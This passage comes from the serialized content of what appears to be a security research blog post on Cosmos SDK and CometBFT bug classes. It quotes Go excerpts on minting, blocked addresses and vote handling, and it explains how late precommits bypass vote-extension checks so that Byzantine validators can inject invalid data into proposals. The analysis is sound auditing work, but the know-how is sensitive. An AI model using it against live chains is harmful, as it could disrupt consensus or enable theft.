%w\"",{"type":21,"tag":153,"props":84550,"children":84551},{"style":160},[84552],{"type":26,"value":1670},{"type":21,"tag":153,"props":84554,"children":84555},{"style":192},[84556],{"type":26,"value":50710},{"type":21,"tag":153,"props":84558,"children":84559},{"style":160},[84560],{"type":26,"value":5909},{"type":21,"tag":153,"props":84562,"children":84563},{"class":155,"line":3393},[84564],{"type":21,"tag":153,"props":84565,"children":84566},{"style":160},[84567],{"type":26,"value":2765},{"type":21,"tag":153,"props":84569,"children":84570},{"class":155,"line":3405},[84571],{"type":21,"tag":153,"props":84572,"children":84573},{"emptyLinePlaceholder":16},[84574],{"type":26,"value":759},{"type":21,"tag":153,"props":84576,"children":84577},{"class":155,"line":3427},[84578,84582,84587,84591,84596,84600,84604,84608,84613,84617,84622],{"type":21,"tag":153,"props":84579,"children":84580},{"style":1751},[84581],{"type":26,"value":2607},{"type":21,"tag":153,"props":84583,"children":84584},{"style":192},[84585],{"type":26,"value":84586}," bytes",{"type":21,"tag":153,"props":84588,"children":84589},{"style":160},[84590],{"type":26,"value":355},{"type":21,"tag":153,"props":84592,"children":84593},{"style":181},[84594],{"type":26,"value":84595},"Equal",{"type":21,"tag":153,"props":84597,"children":84598},{"style":160},[84599],{"type":26,"value":189},{"type":21,"tag":153,"props":84601,"children":84602},{"style":192},[84603],{"type":26,"value":84425},{"type":21,"tag":153,"props":84605,"children":84606},{"style":160},[84607],{"type":26,"value":355},{"type":21,"tag":153,"props":84609,"children":84610},{"style":181},[84611],{"type":26,"value":84612},"TokenBytes",{"type":21,"tag":153,"props":84614,"children":84615},{"style":160},[84616],{"type":26,"value":21072},{"type":21,"tag":153,"props":84618,"children":84619},{"style":192},[84620],{"type":26,"value":84621},"sourceBTCToken",{"type":21,"tag":153,"props":84623,"children":84624},{"style":160},[84625],{"type":26,"value":2659},{"type":21,"tag":153,"props":84627,"children":84628},{"class":155,"line":3448},[84629,84634,84638,84642,84646,84651,84655,84659,84663,84667,84671,84675,84679,84683],{"type":21,"tag":153,"props":84630,"children":84631},{"style":192},[84632],{"type":26,"value":84633},"            err",{"type":21,"tag":153,"props":84635,"children":84636},{"style":198},[84637],{"type":26,"value":255},{"type":21,"tag":153,"props":84639,"children":84640},{"style":192},[84641],{"type":26,"value":83553},{"type":21,"tag":153,"props":84643,"children":84644},{"style":160},[84645],{"type":26,"value":355},{"type":21,"tag":153,"props":84647,"children":84648},{"style":181},[84649],{"type":26,"value":84650},"mintBTC",{"type":21,"tag":153,"props":84652,"children":84653},{"style":160},[84654],{"type":26,"value":189},{"type":21,"tag":153,"props":84656,"children":84657},{"style":192},[84658],{"type":26,"value":1882},{"type":21,"tag":153,"props":84660,"children":84661},{"style":160},[84662],{"type":26,"value":1670},{"type":21,"tag":153,"props":84664,"children":84665},{"style":192},[84666],{"type":26,"value":83948},{"type":21,"tag":153,"props":84668,"children":84669},{"style":160},[84670],{"type":26,"value":1670},{"type":21,"tag":153,"props":84672,"children":84673},{"style":192},[84674],{"type":26,"value":84425},{"type":21,"tag":153,"props":84676,"children":84677},{"style":160},[84678],{"type":26,"value":355},{"type":21,"tag":153,"props":84680,"children":84681},{"style":192},[84682],{"type":26,"value":81352},{"type":21,"tag":153,"props":84684,"children":84685},{"style":160},[84686],{"type":26,"value":5909},{"type":21,"tag":153,"props":84688,"children":84689},{"class":155,"line":3456},[84690,84694,84698,84702,84706],{"type":21,"tag":153,"props":84691,"children":84692},{"style":1751},[84693],{"type":26,"value":61093},{"type":21,"tag":153,"props":84695,"children":84696},{"style":192},[84697],{"type":26,"value":50811},{"type":21,"tag":153,"props":84699,"children":84700},{"style":198},[84701],{"type":26,"value":66680},{"type":21,"tag":153,"props":84703,"children":84704},{"style":170},[84705],{"type":26,"value":84215},{"type":21,"tag":153,"props":84707,"children":84708},{"style":160},[84709],{"type":26,"value":236},{"type":21,"tag":153,"props":84711,"children":84712},{"class":155,"line":3493},[84713,84717,84721,84725,84729],{"type":21,"tag":153,"props":84714,"children":84715},{"style":1751},[84716],{"type":26,"value":63021},{"type":21,"tag":153,"props":84718,"children":84719},{"style":192},[84720],{"type":26,"value":84531},{"type":21,"tag":153,"props":84722,"children":84723},{"style":160},[84724],{"type":26,"value":355},{"type":21,"tag":153,"props":84726,"children":84727},{"style":181},[84728],{"type":26,"value":84248},{"type":21,"tag":153,"props":84730,"children":84731},{"style":160},[84732],{"type":26,"value":773},{"type":21,"tag":153,"props":84734,"children":84735},{"class":155,"line":3509},[84736,84741],{"type":21,"tag":153,"props":84737,"children":84738},{"style":671},[84739],{"type":26,"value":84740},"                    \"failed to mint BTC for event %v: %w\"",{"type":21,"tag":153,"props":84742,"children":84743},{"style":160},[84744],{"type":26,"value":792},{"type":21,"tag":153,"props":84746,"children":84747},{"class":155,"line":3517},[84748,84753,84757,84762],{"type":21,"tag":153,"props":84749,"children":84750},{"style":192},[84751],{"type":26,"value":84752},"                    event",{"type":21,"tag":153,"props":84754,"children":84755},{"style":160},[84756],{"type":26,"value":355},{"type":21,"tag":153,"props":84758,"children":84759},{"style":192},[84760],{"type":26,"value":84761},"Sequence",{"type":21,"tag":153,"props":84763,"children":84764},{"style":160},[84765],{"type":26,"value":792},{"type":21,"tag":153,"props":84767,"children":84768},{"class":155,"line":3526},[84769,84774],{"type":21,"tag":153,"props":84770,"children":84771},{"style":192},[84772],{"type":26,"value":84773},"                    err",{"type":21,"tag":153,"props":84775,"children":84776},{"style":160},[84777],{"type":26,"value":792},{"type":21,"tag":153,"props":84779,"children":84780},{"class":155,"line":3607},[84781],{"type":21,"tag":153,"props":84782,"children":84783},{"style":160},[84784],{"type":26,"value":84785},"                )\n",{"type":21,"tag":153,"props":84787,"children":84788},{"class":155,"line":3615},[84789],{"type":21,"tag":153,"props":84790,"children":84791},{"style":160},[84792],{"type":26,"value":61177},{"type":21,"tag":153,"props":84794,"children":84795},{"class":155,"line":3629},[84796,84800,84804],{"type":21,"tag":153,"props":84797,"children":84798},{"style":160},[84799],{"type":26,"value":2712},{"type":21,"tag":153,"props":84801,"children":84802},{"style":1751},[84803],{"type":26,"value":2717},{"type":21,"tag":153,"props":84805,"children":84806},{"style":160},[84807],{"type":26,"value":236},{"type":21,"tag":153,"props":84809,"children":84810},{"class":155,"line":26297},[84811],{"type":21,"tag":153,"props":84812,"children":84813},{"style":198},[84814],{"type":26,"value":84815},"            ...\n",{"type":21,"tag":153,"props":84817,"children":84818},{"class":155,"line":26330},[84819],{"type":21,"tag":153,"props":84820,"children":84821},{"style":160},[84822],{"type":26,"value":2765},{"type":21,"tag":153,"props":84824,"children":84825},{"class":155,"line":26338},[84826],{"type":21,"tag":153,"props":84827,"children":84828},{"style":160},[84829],{"type":26,"value":539},{"type":21,"tag":153,"props":84831,"children":84832},{"class":155,"line":26346},[84833],{"type":21,"tag":153,"props":84834,"children":84835},{"style":198},[84836],{"type":26,"value":23033},{"type":21,"tag":153,"props":84838,"children":84839},{"class":155,"line":26355},[84840],{"type":21,"tag":153,"props":84841,"children":84842},{"style":160},[84843],{"type":26,"value":548},{"type":21,"tag":153,"props":84845,"children":84846},{"class":155,"line":26431},[84847],{"type":21,"tag":153,"props":84848,"children":84849},{"emptyLinePlaceholder":16},[84850],{"type":26,"value":759},{"type":21,"tag":153,"props":84852,"children":84853},{"class":155,"line":26464},[84854,84858,84862,84866,84870,84874,84878],{"type":21,"tag":153,"props":84855,"children":84856},{"style":170},[84857],{"type":26,"value":78597},{"type":21,"tag":153,"props":84859,"children":84860},{"style":160},[84861],{"type":26,"value":5820},{"type":21,"tag":153,"props":84863,"children":84864},{"style":192},[84865],{"type":26,"value":83425},{"type":21,"tag":153,"props":84867,"children":84868},{"style":214},[84869],{"type":26,"value":82242},{"type":21,"tag":153,"props":84871,"children":84872},{"style":160},[84873],{"type":26,"value":2362},{"type":21,"tag":153,"props":84875,"children":84876},{"style":181},[84877],{"type":26,"value":84650},{"type":21,"tag":153,"props":84879,"children":84880},{"style":160},[84881],{"type":26,"value":773},{"type":21,"tag":153,"props":84883,"children":84884},{"class":155,"line":26472},[84885,84889,84893,84897,84901],{"type":21,"tag":153,"props":84886,"children":84887},{"style":192},[84888],{"type":26,"value":22920},{"type":21,"tag":153,"props":84890,"children":84891},{"style":214},[84892],{"type":26,"value":80938},{"type":21,"tag":153,"props":84894,"children":84895},{"style":160},[84896],{"type":26,"value":355},{"type":21,"tag":153,"props":84898,"children":84899},{"style":214},[84900],{"type":26,"value":78646},{"type":21,"tag":153,"props":84902,"children":84903},{"style":160},[84904],{"type":26,"value":792},{"type":21,"tag":153,"props":84906,"children":84907},{"class":155,"line":26480},[84908,84913,84917,84921,84926],{"type":21,"tag":153,"props":84909,"children":84910},{"style":192},[84911],{"type":26,"value":84912},"    recipient",{"type":21,"tag":153,"props":84914,"children":84915},{"style":214},[84916],{"type":26,"value":80938},{"type":21,"tag":153,"props":84918,"children":84919},{"style":160},[84920],{"type":26,"value":355},{"type":21,"tag":153,"props":84922,"children":84923},{"style":214},[84924],{"type":26,"value":84925},"AccAddress",{"type":21,"tag":153,"props":84927,"children":84928},{"style":160},[84929],{"type":26,"value":792},{"type":21,"tag":153,"props":84931,"children":84932},{"class":155,"line":26517},[84933,84937,84942,84946,84951],{"type":21,"tag":153,"props":84934,"children":84935},{"style":192},[84936],{"type":26,"value":63875},{"type":21,"tag":153,"props":84938,"children":84939},{"style":214},[84940],{"type":26,"value":84941}," math",{"type":21,"tag":153,"props":84943,"children":84944},{"style":160},[84945],{"type":26,"value":355},{"type":21,"tag":153,"props":84947,"children":84948},{"style":214},[84949],{"type":26,"value":84950},"Int",{"type":21,"tag":153,"props":84952,"children":84953},{"style":160},[84954],{"type":26,"value":792},{"type":21,"tag":153,"props":84956,"children":84957},{"class":155,"line":26530},[84958,84962,84966],{"type":21,"tag":153,"props":84959,"children":84960},{"style":160},[84961],{"type":26,"value":2362},{"type":21,"tag":153,"props":84963,"children":84964},{"style":214},[84965],{"type":26,"value":17566},{"type":21,"tag":153,"props":84967,"children":84968},{"style":160},[84969],{"type":26,"value":236},{"type":21,"tag":153,"props":84971,"children":84972},{"class":155,"line":26543},[84973],{"type":21,"tag":153,"props":84974,"children":84975},{"style":198},[84976],{"type":26,"value":23033},{"type":21,"tag":153,"props":84978,"children":84979},{"class":155,"line":26556},[84980,84985,84989,84993,84997,85002,85006,85010],{"type":21,"tag":153,"props":84981,"children":84982},{"style":192},[84983],{"type":26,"value":84984},"    err",{"type":21,"tag":153,"props":84986,"children":84987},{"style":198},[84988],{"type":26,"value":255},{"type":21,"tag":153,"props":84990,"children":84991},{"style":192},[84992],{"type":26,"value":83553},{"type":21,"tag":153,"props":84994,"children":84995},{"style":160},[84996],{"type":26,"value":355},{"type":21,"tag":153,"props":84998,"children":84999},{"style":192},[85000],{"type":26,"value":85001},"bankKeeper",{"type":21,"tag":153,"props":85003,"children":85004},{"style":160},[85005],{"type":26,"value":355},{"type":21,"tag":153,"props":85007,"children":85008},{"style":181},[85009],{"type":26,"value":83940},{"type":21,"tag":153,"props":85011,"children":85012},{"style":160},[85013],{"type":26,"value":773},{"type":21,"tag":153,"props":85015,"children":85016},{"class":155,"line":26610},[85017,85021],{"type":21,"tag":153,"props":85018,"children":85019},{"style":192},[85020],{"type":26,"value":28882},{"type":21,"tag":153,"props":85022,"children":85023},{"style":160},[85024],{"type":26,"value":792},{"type":21,"tag":153,"props":85026,"children":85027},{"class":155,"line":26619},[85028,85033,85037,85042],{"type":21,"tag":153,"props":85029,"children":85030},{"style":192},[85031],{"type":26,"value":85032},"        types",{"type":21,"tag":153,"props":85034,"children":85035},{"style":160},[85036],{"type":26,"value":355},{"type":21,"tag":153,"props":85038,"children":85039},{"style":192},[85040],{"type":26,"value":85041},"ModuleName",{"type":21,"tag":153,"props":85043,"children":85044},{"style":160},[85045],{"type":26,"value":792},{"type":21,"tag":153,"props":85047,"children":85048},{"class":155,"line":34974},[85049,85053],{"type":21,"tag":153,"props":85050,"children":85051},{"style":192},[85052],{"type":26,"value":84450},{"type":21,"tag":153,"props":85054,"children":85055},{"style":160},[85056],{"type":26,"value":792},{"type":21,"tag":153,"props":85058,"children":85059},{"class":155,"line":34995},[85060,85065],{"type":21,"tag":153,"props":85061,"children":85062},{"style":192},[85063],{"type":26,"value":85064},"        coins",{"type":21,"tag":153,"props":85066,"children":85067},{"style":160},[85068],{"type":26,"value":792},{"type":21,"tag":153,"props":85070,"children":85071},{"class":155,"line":83248},[85072],{"type":21,"tag":153,"props":85073,"children":85074},{"style":160},[85075],{"type":26,"value":26616},{"type":21,"tag":153,"props":85077,"children":85078},{"class":155,"line":83261},[85079,85083,85087,85091,85095],{"type":21,"tag":153,"props":85080,"children":85081},{"style":1751},[85082],{"type":26,"value":2434},{"type":21,"tag":153,"props":85084,"children":85085},{"style":192},[85086],{"type":26,"value":50811},{"type":21,"tag":153,"props":85088,"children":85089},{"style":198},[85090],{"type":26,"value":66680},{"type":21,"tag":153,"props":85092,"children":85093},{"style":170},[85094],{"type":26,"value":84215},{"type":21,"tag":153,"props":85096,"children":85097},{"style":160},[85098],{"type":26,"value":236},{"type":21,"tag":153,"props":85100,"children":85101},{"class":155,"line":83269},[85102,85106,85110,85114,85118,85122,85127,85131,85135],{"type":21,"tag":153,"props":85103,"children":85104},{"style":1751},[85105],{"type":26,"value":18441},{"type":21,"tag":153,"props":85107,"children":85108},{"style":192},[85109],{"type":26,"value":84531},{"type":21,"tag":153,"props":85111,"children":85112},{"style":160},[85113],{"type":26,"value":355},{"type":21,"tag":153,"props":85115,"children":85116},{"style":181},[85117],{"type":26,"value":84248},{"type":21,"tag":153,"props":85119,"children":85120},{"style":160},[85121],{"type":26,"value":189},{"type":21,"tag":153,"props":85123,"children":85124},{"style":671},[85125],{"type":26,"value":85126},"\"failed to send coins: %w\"",{"type":21,"tag":153,"props":85128,"children":85129},{"style":160},[85130],{"type":26,"value":1670},{"type":21,"tag":153,"props":85132,"children":85133},{"style":192},[85134],{"type":26,"value":50710},{"type":21,"tag":153,"props":85136,"children":85137},{"style":160},[85138],{"type":26,"value":5909},{"type":21,"tag":153,"props":85140,"children":85141},{"class":155,"line":83277},[85142],{"type":21,"tag":153,"props":85143,"children":85144},{"style":160},[85145],{"type":26,"value":539},{"type":21,"tag":153,"props":85147,"children":85148},{"class":155,"line":83285},[85149],{"type":21,"tag":153,"props":85150,"children":85151},{"style":198},[85152],{"type":26,"value":23033},{"type":21,"tag":153,"props":85154,"children":85155},{"class":155,"line":83325},[85156],{"type":21,"tag":153,"props":85157,"children":85158},{"style":160},[85159],{"type":26,"value":548},{"type":21,"tag":143,"props":85161,"children":85163},{"code":85162,"language":78461,"meta":7,"className":78462,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[85164],{"type":21,"tag":78,"props":85165,"children":85166},{"__ignoreMap":7},[85167,85199,85278,85293,85301,85332,85390,85397,85404],{"type":21,"tag":153,"props":85168,"children":85169},{"class":155,"line":156},[85170,85174,85178,85182,85187,85191,85195],{"type":21,"tag":153,"props":85171,"children":85172},{"style":170},[85173],{"type":26,"value":78597},{"type":21,"tag":153,"props":85175,"children":85176},{"style":160},[85177],{"type":26,"value":5820},{"type":21,"tag":153,"props":85179,"children":85180},{"style":192},[85181],{"type":26,"value":83425},{"type":21,"tag":153,"props":85183,"children":85184},{"style":214},[85185],{"type":26,"value":85186},"BaseKeeper",{"type":21,"tag":153,"props":85188,"children":85189},{"style":160},[85190],{"type":26,"value":2362},{"type":21,"tag":153,"props":85192,"children":85193},{"style":181},[85194],{"type":26,"value":83940},{"type":21,"tag":153,"props":85196,"children":85197},{"style":160},[85198],{"type":26,"value":773},{"type":21,"tag":153,"props":85200,"children":85201},{"class":155,"line":166},[85202,85206,85210,85214,85218,85222,85227,85231,85235,85240,85244,85248,85252,85256,85261,85265,85269,85274],{"type":21,"tag":153,"props":85203,"children":85204},{"style":192},[85205],{"type":26,"value":28540},{"type":21,"tag":153,"props":85207,"children":85208},{"style":214},[85209],{"type":26,"value":78637},{"type":21,"tag":153,"props":85211,"children":85212},{"style":160},[85213],{"type":26,"value":355},{"type":21,"tag":153,"props":85215,"children":85216},{"style":214},[85217],{"type":26,"value":78646},{"type":21,"tag":153,"props":85219,"children":85220},{"style":160},[85221],{"type":26,"value":1670},{"type":21,"tag":153,"props":85223,"children":85224},{"style":192},[85225],{"type":26,"value":85226},"senderModule",{"type":21,"tag":153,"props":85228,"children":85229},{"style":214},[85230],{"type":26,"value":38722},{"type":21,"tag":153,"props":85232,"children":85233},{"style":160},[85234],{"type":26,"value":1670},{"type":21,"tag":153,"props":85236,"children":85237},{"style":192},[85238],{"type":26,"value":85239},"recipientAddr",{"type":21,"tag":153,"props":85241,"children":85242},{"style":214},[85243],{"type":26,"value":80938},{"type":21,"tag":153,"props":85245,"children":85246},{"style":160},[85247],{"type":26,"value":355},{"type":21,"tag":153,"props":85249,"children":85250},{"style":214},[85251],{"type":26,"value":84925},{"type":21,"tag":153,"props":85253,"children":85254},{"style":160},[85255],{"type":26,"value":1670},{"type":21,"tag":153,"props":85257,"children":85258},{"style":192},[85259],{"type":26,"value":85260},"amt",{"type":21,"tag":153,"props":85262,"children":85263},{"style":214},[85264],{"type":26,"value":80938},{"type":21,"tag":153,"props":85266,"children":85267},{"style":160},[85268],{"type":26,"value":355},{"type":21,"tag":153,"props":85270,"children":85271},{"style":214},[85272],{"type":26,"value":85273},"Coins",{"type":21,"tag":153,"props":85275,"children":85276},{"style":160},[85277],{"type":26,"value":792},{"type":21,"tag":153,"props":85279,"children":85280},{"class":155,"line":225},[85281,85285,85289],{"type":21,"tag":153,"props":85282,"children":85283},{"style":160},[85284],{"type":26,"value":2362},{"type":21,"tag":153,"props":85286,"children":85287},{"style":214},[85288],{"type":26,"value":17566},{"type":21,"tag":153,"props":85290,"children":85291},{"style":160},[85292],{"type":26,"value":236},{"type":21,"tag":153,"props":85294,"children":85295},{"class":155,"line":239},[85296],{"type":21,"tag":153,"props":85297,"children":85298},{"style":198},[85299],{"type":26,"value":85300}," ...\n",{"type":21,"tag":153,"props":85302,"children":85303},{"class":155,"line":382},[85304,85308,85312,85316,85320,85324,85328],{"type":21,"tag":153,"props":85305,"children":85306},{"style":1751},[85307],{"type":26,"value":18485},{"type":21,"tag":153,"props":85309,"children":85310},{"style":192},[85311],{"type":26,"value":83553},{"type":21,"tag":153,"props":85313,"children":85314},{"style":160},[85315],{"type":26,"value":355},{"type":21,"tag":153,"props":85317,"children":85318},{"style":181},[85319],{"type":26,"value":83956},{"type":21,"tag":153,"props":85321,"children":85322},{"style":160},[85323],{"type":26,"value":189},{"type":21,"tag":153,"props":85325,"children":85326},{"style":192},[85327],{"type":26,"value":85239},{"type":21,"tag":153,"props":85329,"children":85330},{"style":160},[85331],{"type":26,"value":2659},{"type":21,"tag":153,"props":85333,"children":85334},{"class":155,"line":501},[85335,85339,85344,85348,85352,85356,85360,85364,85369,85373,85378,85382,85386],{"type":21,"tag":153,"props":85336,"children":85337},{"style":1751},[85338],{"type":26,"value":41890},{"type":21,"tag":153,"props":85340,"children":85341},{"style":192},[85342],{"type":26,"value":85343}," errorsmod",{"type":21,"tag":153,"props":85345,"children":85346},{"style":160},[85347],{"type":26,"value":355},{"type":21,"tag":153,"props":85349,"children":85350},{"style":181},[85351],{"type":26,"value":83207},{"type":21,"tag":153,"props":85353,"children":85354},{"style":160},[85355],{"type":26,"value":189},{"type":21,"tag":153,"props":85357,"children":85358},{"style":192},[85359],{"type":26,"value":82869},{"type":21,"tag":153,"props":85361,"children":85362},{"style":160},[85363],{"type":26,"value":355},{"type":21,"tag":153,"props":85365,"children":85366},{"style":192},[85367],{"type":26,"value":85368},"ErrUnauthorized",{"type":21,"tag":153,"props":85370,"children":85371},{"style":160},[85372],{"type":26,"value":1670},{"type":21,"tag":153,"props":85374,"children":85375},{"style":671},[85376],{"type":26,"value":85377},"\"%s is not allowed to receive funds\"",{"type":21,"tag":153,"props":85379,"children":85380},{"style":160},[85381],{"type":26,"value":1670},{"type":21,"tag":153,"props":85383,"children":85384},{"style":192},[85385],{"type":26,"value":85239},{"type":21,"tag":153,"props":85387,"children":85388},{"style":160},[85389],{"type":26,"value":5909},{"type":21,"tag":153,"props":85391,"children":85392},{"class":155,"line":533},[85393],{"type":21,"tag":153,"props":85394,"children":85395},{"style":160},[85396],{"type":26,"value":12318},{"type":21,"tag":153,"props":85398,"children":85399},{"class":155,"line":542},[85400],{"type":21,"tag":153,"props":85401,"children":85402},{"style":198},[85403],{"type":26,"value":85300},{"type":21,"tag":153,"props":85405,"children":85406},{"class":155,"line":762},[85407],{"type":21,"tag":153,"props":85408,"children":85409},{"style":160},[85410],{"type":26,"value":548},{"type":21,"tag":22,"props":85412,"children":85413},{},[85414,85416,85423],{"type":26,"value":85415},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":21,"tag":29,"props":85417,"children":85420},{"href":85418,"rel":85419},"https://hackerone.com/reports/3018307",[33],[85421],{"type":26,"value":85422},"improper decimal handling in the group module",{"type":26,"value":355},{"type":21,"tag":66,"props":85425,"children":85427},{"id":85426},"same-same-but-different",[85428],{"type":26,"value":85429},"Same, Same... But Different",{"type":21,"tag":22,"props":85431,"children":85432},{},[85433,85435,85441,85442,85448,85449,85455,85456,85462],{"type":26,"value":85434},"Cosmos exposes several consensus-level interfaces, such as ",{"type":21,"tag":78,"props":85436,"children":85438},{"className":85437},[],[85439],{"type":26,"value":85440},"PrepareProposal",{"type":26,"value":1670},{"type":21,"tag":78,"props":85443,"children":85445},{"className":85444},[],[85446],{"type":26,"value":85447},"ProcessProposal",{"type":26,"value":1670},{"type":21,"tag":78,"props":85450,"children":85452},{"className":85451},[],[85453],{"type":26,"value":85454},"ExtendVote",{"type":26,"value":9217},{"type":21,"tag":78,"props":85457,"children":85459},{"className":85458},[],[85460],{"type":26,"value":85461},"VerifyVoteExtension",{"type":26,"value":85463},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":21,"tag":22,"props":85465,"children":85466},{},[85467],{"type":26,"value":85468},"Two of the best-known attack surfaces are",{"type":21,"tag":126,"props":85470,"children":85471},{},[85472,85501],{"type":21,"tag":91,"props":85473,"children":85474},{},[85475,85480,85481,85486,85488,85493,85494,85499],{"type":21,"tag":78,"props":85476,"children":85478},{"className":85477},[],[85479],{"type":26,"value":85440},{"type":26,"value":5820},{"type":21,"tag":78,"props":85482,"children":85484},{"className":85483},[],[85485],{"type":26,"value":85454},{"type":26,"value":85487},") outputs being rejected due to ",{"type":21,"tag":78,"props":85489,"children":85491},{"className":85490},[],[85492],{"type":26,"value":85447},{"type":26,"value":5820},{"type":21,"tag":78,"props":85495,"children":85497},{"className":85496},[],[85498],{"type":26,"value":85461},{"type":26,"value":85500},") over-validating, resulting in liveness failures.",{"type":21,"tag":91,"props":85502,"children":85503},{},[85504,85506,85511,85512,85517,85519,85524,85525,85530],{"type":26,"value":85505},"Malicious proposals and vote extensions not created through the ",{"type":21,"tag":78,"props":85507,"children":85509},{"className":85508},[],[85510],{"type":26,"value":85440},{"type":26,"value":5820},{"type":21,"tag":78,"props":85513,"children":85515},{"className":85514},[],[85516],{"type":26,"value":85454},{"type":26,"value":85518},") are accepted due to ",{"type":21,"tag":78,"props":85520,"children":85522},{"className":85521},[],[85523],{"type":26,"value":85447},{"type":26,"value":5820},{"type":21,"tag":78,"props":85526,"children":85528},{"className":85527},[],[85529],{"type":26,"value":85461},{"type":26,"value":85531},") under-validating.",{"type":21,"tag":22,"props":85533,"children":85534},{},[85535],{"type":26,"value":85536},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":21,"tag":22,"props":85538,"children":85539},{},[85540,85542,85548,85550,85555],{"type":26,"value":85541},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":21,"tag":78,"props":85543,"children":85545},{"className":85544},[],[85546],{"type":26,"value":85547},"VoteExtensions",{"type":26,"value":85549}," within ",{"type":21,"tag":78,"props":85551,"children":85553},{"className":85552},[],[85554],{"type":26,"value":85440},{"type":26,"value":85556},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":21,"tag":22,"props":85558,"children":85559},{},[85560,85562,85567,85569,85574],{"type":26,"value":85561},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":21,"tag":78,"props":85563,"children":85565},{"className":85564},[],[85566],{"type":26,"value":85454},{"type":26,"value":85568}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":21,"tag":78,"props":85570,"children":85572},{"className":85571},[],[85573],{"type":26,"value":85461},{"type":26,"value":85575},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":21,"tag":22,"props":85577,"children":85578},{},[85579,85581,85586],{"type":26,"value":85580},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":21,"tag":78,"props":85582,"children":85584},{"className":85583},[],[85585],{"type":26,"value":85461},{"type":26,"value":85587}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":21,"tag":22,"props":85589,"children":85590},{},[85591,85593,85598,85600,85606],{"type":26,"value":85592},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":21,"tag":78,"props":85594,"children":85596},{"className":85595},[],[85597],{"type":26,"value":85461},{"type":26,"value":85599},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":21,"tag":78,"props":85601,"children":85603},{"className":85602},[],[85604],{"type":26,"value":85605},"Proposal",{"type":26,"value":355},{"type":21,"tag":143,"props":85608,"children":85610},{"code":85609,"language":78461,"meta":7,"className":78462,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[85611],{"type":21,"tag":78,"props":85612,"children":85613},{"__ignoreMap":7},[85614,85726,85733,85740,85748,85756,85840,85847,85855,85909,85916,85937,85944,86016,86032,86039,86113,86169,86176,86238,86245,86252,86271,86278,86285,86292],{"type":21,"tag":153,"props":85615,"children":85616},{"class":155,"line":156},[85617,85621,85625,85630,85634,85639,85643,85648,85652,85657,85661,85665,85669,85674,85678,85683,85688,85692,85697,85701,85706,85710,85714,85718,85722],{"type":21,"tag":153,"props":85618,"children":85619},{"style":170},[85620],{"type":26,"value":78597},{"type":21,"tag":153,"props":85622,"children":85623},{"style":160},[85624],{"type":26,"value":5820},{"type":21,"tag":153,"props":85626,"children":85627},{"style":192},[85628],{"type":26,"value":85629},"cs ",{"type":21,"tag":153,"props":85631,"children":85632},{"style":198},[85633],{"type":26,"value":313},{"type":21,"tag":153,"props":85635,"children":85636},{"style":214},[85637],{"type":26,"value":85638},"State",{"type":21,"tag":153,"props":85640,"children":85641},{"style":160},[85642],{"type":26,"value":2362},{"type":21,"tag":153,"props":85644,"children":85645},{"style":181},[85646],{"type":26,"value":85647},"addVote",{"type":21,"tag":153,"props":85649,"children":85650},{"style":160},[85651],{"type":26,"value":189},{"type":21,"tag":153,"props":85653,"children":85654},{"style":192},[85655],{"type":26,"value":85656},"vote",{"type":21,"tag":153,"props":85658,"children":85659},{"style":198},[85660],{"type":26,"value":5080},{"type":21,"tag":153,"props":85662,"children":85663},{"style":214},[85664],{"type":26,"value":8489},{"type":21,"tag":153,"props":85666,"children":85667},{"style":160},[85668],{"type":26,"value":355},{"type":21,"tag":153,"props":85670,"children":85671},{"style":214},[85672],{"type":26,"value":85673},"Vote",{"type":21,"tag":153,"props":85675,"children":85676},{"style":160},[85677],{"type":26,"value":1670},{"type":21,"tag":153,"props":85679,"children":85680},{"style":192},[85681],{"type":26,"value":85682},"peerID",{"type":21,"tag":153,"props":85684,"children":85685},{"style":214},[85686],{"type":26,"value":85687}," 